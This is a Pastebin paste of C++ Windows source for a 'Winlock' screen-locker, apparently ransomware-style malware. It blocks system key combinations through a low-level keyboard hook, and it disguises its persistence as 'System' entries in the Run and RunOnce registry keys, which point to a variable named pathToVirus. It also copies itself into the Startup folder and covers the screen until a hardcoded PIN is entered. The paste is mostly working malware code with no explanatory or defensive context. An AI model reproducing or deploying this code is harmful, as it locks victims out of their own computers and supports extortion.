Advertisement
Guest User

Untitled

a guest
Apr 6th, 2020
441
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #pragma comment(linker,"\"/manifestdependency:type='win32' \
  2. name='Microsoft.Windows.Common-Controls' version='6.0.0.0' \
  3. processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"")
  4.  
  5. #include <windows.h>
  6. #include <tchar.h>
  7. #include "resource.h"
  8. #include <strsafe.h>
  9. #include <winreg.h>
  10.  
  11. #pragma comment(lib, "winmm.lib")
  12.  
  13.  
  14. HINSTANCE hInst;
  15. HWND      hWnd;
  16. HWND      hBtn1, hBtn2, hBtn3, hBtn4, hBtn5, hBtn6, hBtn7, hBtn8, hBtn9, hBtn0, hDelBtn, hOKBtn;
  17. HWND      hLabel;
  18.  
  19. HHOOK hHook;
  20.  
  21. LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
  22.  
  23. int CALLBACK KeyboardProc(int nCode, DWORD wParam, DWORD lParam) // Блокировка системных клавиш
  24. {
  25.     static bool KeyStroke;
  26.     static KBDLLHOOKSTRUCT* p;
  27.  
  28.     if (nCode < 0) return (int)CallNextHookEx(NULL, nCode, wParam, lParam);
  29.  
  30.     KeyStroke = FALSE;
  31.     if (nCode == HC_ACTION)
  32.     {
  33.         switch (wParam)
  34.         {
  35.         case WM_KEYDOWN:
  36.         case WM_SYSKEYDOWN:
  37.         case WM_KEYUP:
  38.         case WM_SYSKEYUP:
  39.             p = (KBDLLHOOKSTRUCT*)lParam;
  40.             KeyStroke = ((p->vkCode == VK_LWIN) || (p->vkCode == VK_RWIN)) ||
  41.                 ((p->vkCode == VK_TAB) && ((p->flags & LLKHF_ALTDOWN) != 0)) ||
  42.                 ((p->vkCode == VK_ESCAPE) && ((p->flags & LLKHF_ALTDOWN) != 0)) ||
  43.                 ((p->vkCode == VK_ESCAPE) && ((GetKeyState(VK_CONTROL) & 0x8000) != 0)) ||
  44.                 ((p->vkCode == VK_F4) && ((p->flags & LLKHF_ALTDOWN) != 0)) ||
  45.                 ((p->vkCode == 0xC0) && ((MOD_CONTROL + 0x10) != 0));
  46.  
  47.             break;
  48.         default:
  49.             break;
  50.         }
  51.     }
  52.     if (KeyStroke)
  53.         return 1;
  54.     else
  55.         return (int)CallNextHookEx(hHook, nCode, wParam, lParam);
  56.  
  57. }
  58.  
  59. BOOL RegClass(WNDPROC Proc, LPCTSTR szName, UINT brBackground)
  60. {
  61.     WNDCLASS wcex;
  62.     wcex.style = wcex.cbClsExtra = wcex.cbWndExtra = 0;
  63.     wcex.lpfnWndProc = Proc;
  64.     wcex.hInstance = hInst;
  65.     wcex.hIcon = LoadIcon(wcex.hInstance, IDI_APPLICATION);
  66.     wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
  67.     wcex.hbrBackground = (HBRUSH)(COLOR_WINDOWTEXT);
  68.     wcex.lpszMenuName = NULL;
  69.     wcex.lpszClassName = szName;
  70.     return (RegisterClass(&wcex) != 0);
  71. }
  72.  
  73. int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR lpszCmdLine, int nCmdShow)
  74. {
  75.     MSG msg;
  76.     hInst = hInstance;
  77.     if (!RegClass(WndProc, L"WinlockApp", COLOR_WINDOW))
  78.         return FALSE;
  79.  
  80.     hWnd = CreateWindowEx(NULL/*WS_EX_TOOLWINDOW | WS_EX_TOPMOST*/, L"WinlockApp", L"Winlock", WS_VISIBLE | WS_MAXIMIZE /*| WS_POPUP*/, 0, 0, 1200, 900, 0, 0, hInstance, 0);
  81.  
  82.     hHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyboardProc, GetModuleHandle(NULL), 0);
  83.  
  84.     TCHAR pathToVirus[MAX_PATH];
  85.     GetModuleFileName(NULL, pathToVirus, MAX_PATH);
  86.     HKEY hKeys;
  87.     if (ERROR_SUCCESS == RegCreateKeyExA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKeys, NULL))
  88.     {
  89.         RegSetValueEx(hKeys, L"System", 0, REG_SZ, reinterpret_cast<const BYTE*>(&pathToVirus), sizeof(pathToVirus));
  90.         RegCloseKey(hKeys);
  91.     }
  92.     else {
  93.         if (ERROR_SUCCESS == RegCreateKeyExA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKeys, NULL))
  94.         {
  95.             RegSetValueEx(hKeys, L"System", 0, REG_SZ, reinterpret_cast<const BYTE*>(&pathToVirus), sizeof(pathToVirus));
  96.             RegCloseKey(hKeys);
  97.         }
  98.         else {
  99.             if (ERROR_SUCCESS == RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKeys, NULL))
  100.             {
  101.                 RegSetValueEx(hKeys, L"System", 0, REG_SZ, reinterpret_cast<const BYTE*>(&pathToVirus), sizeof(pathToVirus));
  102.                 RegCloseKey(hKeys);
  103.             }
  104.             else {
  105.                 if (ERROR_SUCCESS == RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKeys, NULL))
  106.                 {
  107.                     RegSetValueEx(hKeys, L"System", 0, REG_SZ, reinterpret_cast<const BYTE*>(&pathToVirus), sizeof(pathToVirus));
  108.                     RegCloseKey(hKeys);
  109.                 }
  110.             }
  111.         }
  112.     }
  113.  
  114.     DWORD size = 1024;
  115.     TCHAR buf[1024];
  116.     GetUserName(buf, &size);
  117.     LPCWSTR username = buf;
  118.     TCHAR nullPath[1024] = L"C:\\Users\\";
  119.     LPCWSTR startupPath = L"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1.exe";
  120.     StringCchCat(nullPath, 1024, username);
  121.     StringCchCat(nullPath, 1024, startupPath);
  122.     LPCTSTR pathToFile = nullPath;
  123.     CopyFile(pathToVirus, pathToFile, FALSE);
  124.  
  125.     //mciSendString(L"open \"1.mp3\" type mpegvideo alias mp3", NULL, 0, NULL);
  126.     //mciSendString(L"play mp3 repeat", NULL, 0, NULL);
  127.    
  128.     ShowWindow(hWnd, SW_SHOWDEFAULT/*SW_SHOWMAXIMIZED*/);
  129.     UpdateWindow(hWnd);
  130.     while (GetMessage(&msg, 0, 0, 0))
  131.     {
  132.         TranslateMessage(&msg);
  133.         DispatchMessage(&msg);
  134.     }
  135.  
  136.     return msg.wParam;
  137. }
  138.  
  139. LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
  140. {
  141.  
  142.     int password = 131003, userpass;
  143.     TCHAR inputText[] = L"";
  144.  
  145.     int iWidth = GetSystemMetrics(SM_CXSCREEN);  // разрешение экрана по горизонтали
  146.     int iHeight = GetSystemMetrics(SM_CYSCREEN); // разрешение экрана по вертикали
  147.  
  148.     int btnWidth = 70;                           //button's Width
  149.     int btnHeight = 30;                          //button's Height
  150.  
  151.     PAINTSTRUCT ps;
  152.     HBITMAP hBitmap;
  153.     BITMAP bm;
  154.     HDC hDC;
  155.     HDC hMemDC;
  156.  
  157.     switch (msg)
  158.     {
  159.  
  160.     case WM_PAINT:
  161.        
  162.         hDC = BeginPaint(hWnd, &ps);
  163.         hMemDC = CreateCompatibleDC(hDC);
  164.         hBitmap = LoadBitmap(hInst, MAKEINTRESOURCE(IDB_BITMAP1));
  165.         GetObject(hBitmap, sizeof(BITMAP), &bm);
  166.         SelectObject(hMemDC, hBitmap);
  167.         BitBlt(hDC, iWidth / 2 - bm.bmWidth / 2, iHeight / 2 - bm.bmHeight / 2, bm.bmWidth, bm.bmHeight, hMemDC, 0, 0, SRCCOPY);
  168.         DeleteDC(hMemDC);
  169.         ReleaseDC(hWnd, hDC);
  170.         DeleteObject(hBitmap);
  171.         EndPaint(hWnd, &ps);
  172.  
  173.         break;
  174.  
  175.     case WM_CREATE:
  176.  
  177.         mciSendString(L"1.wav", NULL, 0, NULL);
  178.  
  179.         hBtn1 =   CreateWindow(L"button", L"1", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8,            iHeight*3/4,             btnWidth,   btnHeight, hWnd, HMENU(1),   hInst, NULL);
  180.         hBtn2 =   CreateWindow(L"button", L"2", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+btnWidth,   iHeight*3/4,             btnWidth,   btnHeight, hWnd, HMENU(2),   hInst, NULL);
  181.         hBtn3 =   CreateWindow(L"button", L"3", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+2*btnWidth, iHeight*3/4,             btnWidth,   btnHeight, hWnd, HMENU(3),   hInst, NULL);
  182.         hBtn4 =   CreateWindow(L"button", L"4", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8,            iHeight*3/4+btnHeight,   btnWidth,   btnHeight, hWnd, HMENU(4),   hInst, NULL);
  183.         hBtn5 =   CreateWindow(L"button", L"5", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+btnWidth,   iHeight*3/4+btnHeight,   btnWidth,   btnHeight, hWnd, HMENU(5),   hInst, NULL);
  184.         hBtn6 =   CreateWindow(L"button", L"6", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+2*btnWidth, iHeight*3/4+btnHeight,   btnWidth,   btnHeight, hWnd, HMENU(6),   hInst, NULL);
  185.         hBtn7 =   CreateWindow(L"button", L"7", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8,            iHeight*3/4+2*btnHeight, btnWidth,   btnHeight, hWnd, HMENU(7),   hInst, NULL);
  186.         hBtn8 =   CreateWindow(L"button", L"8", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+btnWidth,   iHeight*3/4+2*btnHeight, btnWidth,   btnHeight, hWnd, HMENU(8),   hInst, NULL);
  187.         hBtn9 =   CreateWindow(L"button", L"9", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+2*btnWidth, iHeight*3/4+2*btnHeight, btnWidth,   btnHeight, hWnd, HMENU(9),   hInst, NULL);
  188.         hBtn0 =   CreateWindow(L"button", L"0", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8,            iHeight*3/4+3*btnHeight, 2*btnWidth, btnHeight, hWnd, HMENU(0),   hInst, NULL);
  189.         hDelBtn = CreateWindow(L"button", L"C", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+2*btnWidth, iHeight*3/4+3*btnHeight, btnWidth,   btnHeight, hWnd, HMENU(100), hInst, NULL);
  190.         hOKBtn =  CreateWindow(L"button", L"0K", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8,           iHeight*3/4+4*btnHeight, 3*btnWidth, btnHeight, hWnd, HMENU(1000),   hInst, NULL);
  191.  
  192.         hLabel = CreateWindow(L"static", NULL, WS_CHILD | WS_VISIBLE, iWidth/8, iHeight*3/4-16, 3*btnWidth, 16, hWnd, NULL, hInst, 0);
  193.  
  194.         break;
  195.  
  196.     case WM_COMMAND:
  197.         switch (LOWORD(wParam))
  198.         {
  199.         case 0:
  200.            
  201.             GetWindowText(hLabel, inputText, 26);
  202.             _tcscat(inputText, L"0");
  203.             SetWindowText(hLabel, inputText);
  204.  
  205.             break;
  206.  
  207.         case 1:
  208.  
  209.             GetWindowText(hLabel, inputText, 26);
  210.             _tcscat(inputText, L"1");
  211.             SetWindowText(hLabel, inputText);
  212.  
  213.             break;
  214.  
  215.         case 2:
  216.  
  217.             GetWindowText(hLabel, inputText, 26);
  218.             _tcscat(inputText, L"2");
  219.             SetWindowText(hLabel, inputText);
  220.  
  221.             break;
  222.  
  223.         case 3:
  224.  
  225.             GetWindowText(hLabel, inputText, 26);
  226.             _tcscat(inputText, L"3");
  227.             SetWindowText(hLabel, inputText);
  228.  
  229.             break;
  230.  
  231.         case 4:
  232.  
  233.             GetWindowText(hLabel, inputText, 26);
  234.             _tcscat(inputText, L"4");
  235.             SetWindowText(hLabel, inputText);
  236.  
  237.             break;
  238.  
  239.         case 5:
  240.  
  241.             GetWindowText(hLabel, inputText, 26);
  242.             _tcscat(inputText, L"5");
  243.             SetWindowText(hLabel, inputText);
  244.  
  245.             break;
  246.  
  247.         case 6:
  248.  
  249.             GetWindowText(hLabel, inputText, 26);
  250.             _tcscat(inputText, L"6");
  251.             SetWindowText(hLabel, inputText);
  252.  
  253.             break;
  254.  
  255.         case 7:
  256.  
  257.             GetWindowText(hLabel, inputText, 26);
  258.             _tcscat(inputText, L"7");
  259.             SetWindowText(hLabel, inputText);
  260.        
  261.             break;
  262.  
  263.         case 8:
  264.  
  265.             GetWindowText(hLabel, inputText, 26);
  266.             _tcscat(inputText, L"8");
  267.             SetWindowText(hLabel, inputText);
  268.  
  269.             break;
  270.  
  271.         case 9:
  272.  
  273.             GetWindowText(hLabel, inputText, 26);
  274.             _tcscat(inputText, L"9");
  275.             SetWindowText(hLabel, inputText);
  276.  
  277.             break;
  278.  
  279.         case 10:
  280.  
  281.             GetWindowText(hLabel, inputText, 26);
  282.             _tcscat(inputText, L"9");
  283.             SetWindowText(hLabel, inputText);
  284.  
  285.             break;
  286.  
  287.         case 100:
  288.  
  289.             SetWindowText(hLabel, L"");
  290.  
  291.             break;
  292.  
  293.         case 1000:
  294.  
  295.             GetWindowText(hLabel, inputText, 26);
  296.             userpass = _tstoi(inputText);
  297.  
  298.             if (userpass == password)
  299.             {
  300.                 MessageBox(hWnd, L"Success!", L"SuccessWnd", NULL);
  301.                 exit(0);
  302.             }
  303.             else
  304.             {
  305.                 SetWindowText(hLabel, L"");
  306.                 MessageBox(hWnd, L"Wrong password", L"ERROR", NULL);
  307.             }
  308.  
  309.             break;
  310.         }
  311.         break;
  312.  
  313.     case WM_DESTROY:
  314.         PostQuitMessage(0);
  315.         return 0;
  316.         break;
  317.     }
  318.     return DefWindowProc(hWnd, msg, wParam, lParam);
  319. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement